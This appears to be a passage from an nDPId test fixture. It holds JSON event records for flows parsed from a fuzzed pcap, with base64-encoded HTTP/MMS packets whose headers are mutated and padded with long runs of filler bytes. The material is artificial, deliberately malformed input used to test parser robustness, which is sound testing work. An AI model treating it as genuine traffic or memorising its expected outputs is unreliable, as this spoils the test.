+00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1031854557802,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2606,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":802049,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAgsl17AFCLk5N8CABFAAAsNUtAAIAGZ0asFAMFrBQDDQouAFDlQWz1AAAAAGACIADjNgAAAgQFtAAA"} +00430{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":802085,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxMxAAEAGF8WsFAMNrBQDBQBQCi7KxfhE5UFs9mASgyyW7gAAAgQFtA=="} +00430{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":802273,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoNktAAIAGZkqsFAMFrBQDDQouAFDlQWz2ysX4RVAQIjgPoAAAAgQFtAAA"} +02377{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":802805,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"CAAgsl17AFCLk5N8CABFAAXcN0tAAIAGX5asFAMFrBQDDQouAFDlQWz2ysX4RVAQIjgsGQAAR0VUIC9zZXJ2bGV0cy9tbXM\/bWVzc2FnZS1pZD0xODkzMDEgSFRUUC8xLjENCkhvc3Q6IDE3Mi4yMC4zLjEzDQpPcHQ6ICJodHSqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00704{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":4,"flow_first_seen":1031854557802,"flow_last_seen":1031854557802,"flow_tot_l4_data_len":1548,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":387,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2606,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"172.20.3.13","url":"172.20.3.13\/servlets\/mms?message-id=189301","code":0,"content_type":"","user_agent":""}} +00905{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":802834,"pkt_caplen":413,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":413,"pkt_l4_len":379,"pkt":"CAAgsl17AFCLUJN8CABFTQGPOEtAAIAGYuOsFAMFrBQDDQouAFDlQXKqysX4RVAYIjhECAAAWXVTdz09IjEiMi1IZ0NURVFFqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00422{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":803574,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxM1AAEAGF8isFAMNrBQDBQBQCi7KxfhF5UFyqlAQgyyo9wAA"} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":91,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":899872,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":54,"pkt_l4_len":0,"pkt":"AFCLk5N8kgAgsl2cCAAlcwAoxM5AAEAGF8esFAMNrBQDBQB+Ci7KxfhF5UF0EVAQgyynkAAA"} +00166{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":91,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","protocol":2048} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":92,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1031854557975,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.72.5","src_port":80,"dst_port":2606,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02379{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":975651,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":92,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1031854557975,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.72.5","src_port":80,"dst_port":2606,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +02382{"flow_id":26,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":975679,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AFCLk5N8CAAgsl17CABFAAXcxNBAAEAGEhGsFAMNrBQDBQBQCi7Kxf355UF0EVAYgyyGdgAA\/hWsrhk5ggREJhCILeCkXtDbB2YEGTIcOXUE9SVzABYIBBkeFDNdO1WxbYONvAQaJnCDmC6B61maNRAEAmwAGD0xfKcBgBl4BG4mgM89+TFau+jewAQQXyIzpQyUQ8IlcwAENGwgh42G\/5ytxFyWBJ0mDqg1OHRSmR+x+ATQnsHoof\/oVL+NJdYEMUIHCJJVmqE9AAwUBDEz1gi0n7HyXyiy4AQbQsvNkk85pDd4\/F4EMTP\/CDEzaF52VL+sBCLAGAgXgeBSwMAYlAQhJhb4FflVteKZ4WIEygAOg5gs0arQHXnABAImCMeZESe6R96JLAQNw78YXNI2rdNi1bwEklO7s5VbtJnKqW8iBEQKEOOIZFA7+L53sAQNciNakU4IVD5YMIoEAwoxm6Uoat6zotNuBCIHLmeif5A90WY11ARuvS2tpXnV1057Ul4EGgAtrdOBR9WjLeUSBBqPKm7F22BaQBUPIgQCiyc55YkAacu3LeoEAdYpy5DaYSPOYjd+BAFAKTzqzUDS5k24DgQOHigelZ6RQ02IhBgEWsIePeCJ4IazRqJyBA7CM72FeiCk46rkfgQa0fConNTnSNpmHx4EATpzOZVrROzYc8m4BFtRIsm1mcGmpnGgrAQiwBl8tYVl2fsSwoIEIxkEzsxMcFYhkQU6BGAUG3yVjREtXQxZhgTgHmQulV4hHuME4CgEW8AtjN3F4bXzNnbyBF8AEzudeO\/V0CrJnAQT0yGurR89nKSGnFoEoEIibe2sJXMAHQi2BGCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +02069{"flow_id":26,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":975699,"pkt_caplen":1283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1283,"pkt_l4_len":1249,"pkt":"AFCLk5N8CAAgsl17CABFAAT1xNFAAEAGEvesFAMNrBQDBQBQCi7KxgOt5UF0EVAYgyyd7AAA4faFBGdCEDOygLpsIxISUgSgcwqlPX+QLGqICNIEEPAQdzLv2tNHaM+8BGBCFYXFn\/TLQissbgQiB94jXT5hUqEqt84EG+bbJ5VRdaV2Nm5uBGAHAUmIAbCE3Fw2oAQtJXMAjcF+O9jo8mYEIqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00430{"flow_id":26,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854557,"pkt_ts_usec":976243,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoOUtAAIAGY0qsFAMFrBQDDQouAFDlQXQRysYDrVAQIjj9HAAAAncFtAAA"} +00431{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854558,"pkt_ts_usec":153760,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoPUtAAIAGX0qsFAMFrBQDDQouAFDlQXQRysYIelAQHWtT+wAAAgQFtAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":97,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1031854562320,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2607,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":320952,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAgsl1rAFCLk5N8CABFAAAsPltAAIAGXkasFAMFrBQDDQovAFDlUj+sAAAAAGACIADqbQAAAgQFtAAA"} +00432{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":321003,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxNJAAEAGF7+sFAMNrBQDBQBQCi\/K2yc15VI\/rWASgyyVHwAAAgQFtA=="} +00430{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":321194,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFIAAoP0tAAIAGXUqsFAMFrBQDDQovAFDlUj+tytsnNlAQIjgN0QAAAgQFtAAA"} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":100,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1031854562321,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":9587,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02379{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854562,"pkt_ts_usec":321743,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"CAAgsl17ACVzAJN8CABFAAXcQEtAAIAGVpasFAMFrBQDDSVzAFDlUj+tytsnNlAQInStCAAAUE9TVCAvc2VydmxldHMvbW1zIEhUVFAvES4xDQpIbnN0OiAxNzIuMjAuMy4xMw0KT3B0OiAiaHR0cDovL3d3dy53My5vcmcvMTk5OS8wNi8yNC1DQ1BQZXhjaGFuZ2UiOyBucz01Ng0KQ29sdGVudC1UeXBlOiBhcHBsaWNhdGlvbi92bmQud2FwLm1tcy1tZXNzYWdlDQpBY2NlcHQ6INtwcGxpY2F0aW9uL3ZuZC53YXAubW1zLW1lc3NhZ2UNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLEFnZW50OiBTb255RXJpY3Nzb25UNjgvUjIwMUENCEFjY2VwdC1DaGFyc2V0OiAqDQo1Ni1Qcm9maWxlLURpZmYtMTogPD94bWwgdmVyc2lvbj0lcwAwIj8+PHpkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YSVzAHMjInhtbG5zOnByZj0iaHR0cDovL3d3VC53YXBmb291bS5vcmcvVUFQbk9GL2NjcHBzY2hlbWEtMTk5OTEwMTQjIj48IS0tIGJyb3dzZXIgdmVuZG9yIHNpdGU6IERlZmF1bHQgZGVzY3JpcHRpb34gb2YgcHJvcGVydGllcyAtLT48cmRmOkRlc2NyaXB0aW9uPjxwcmY6Q2N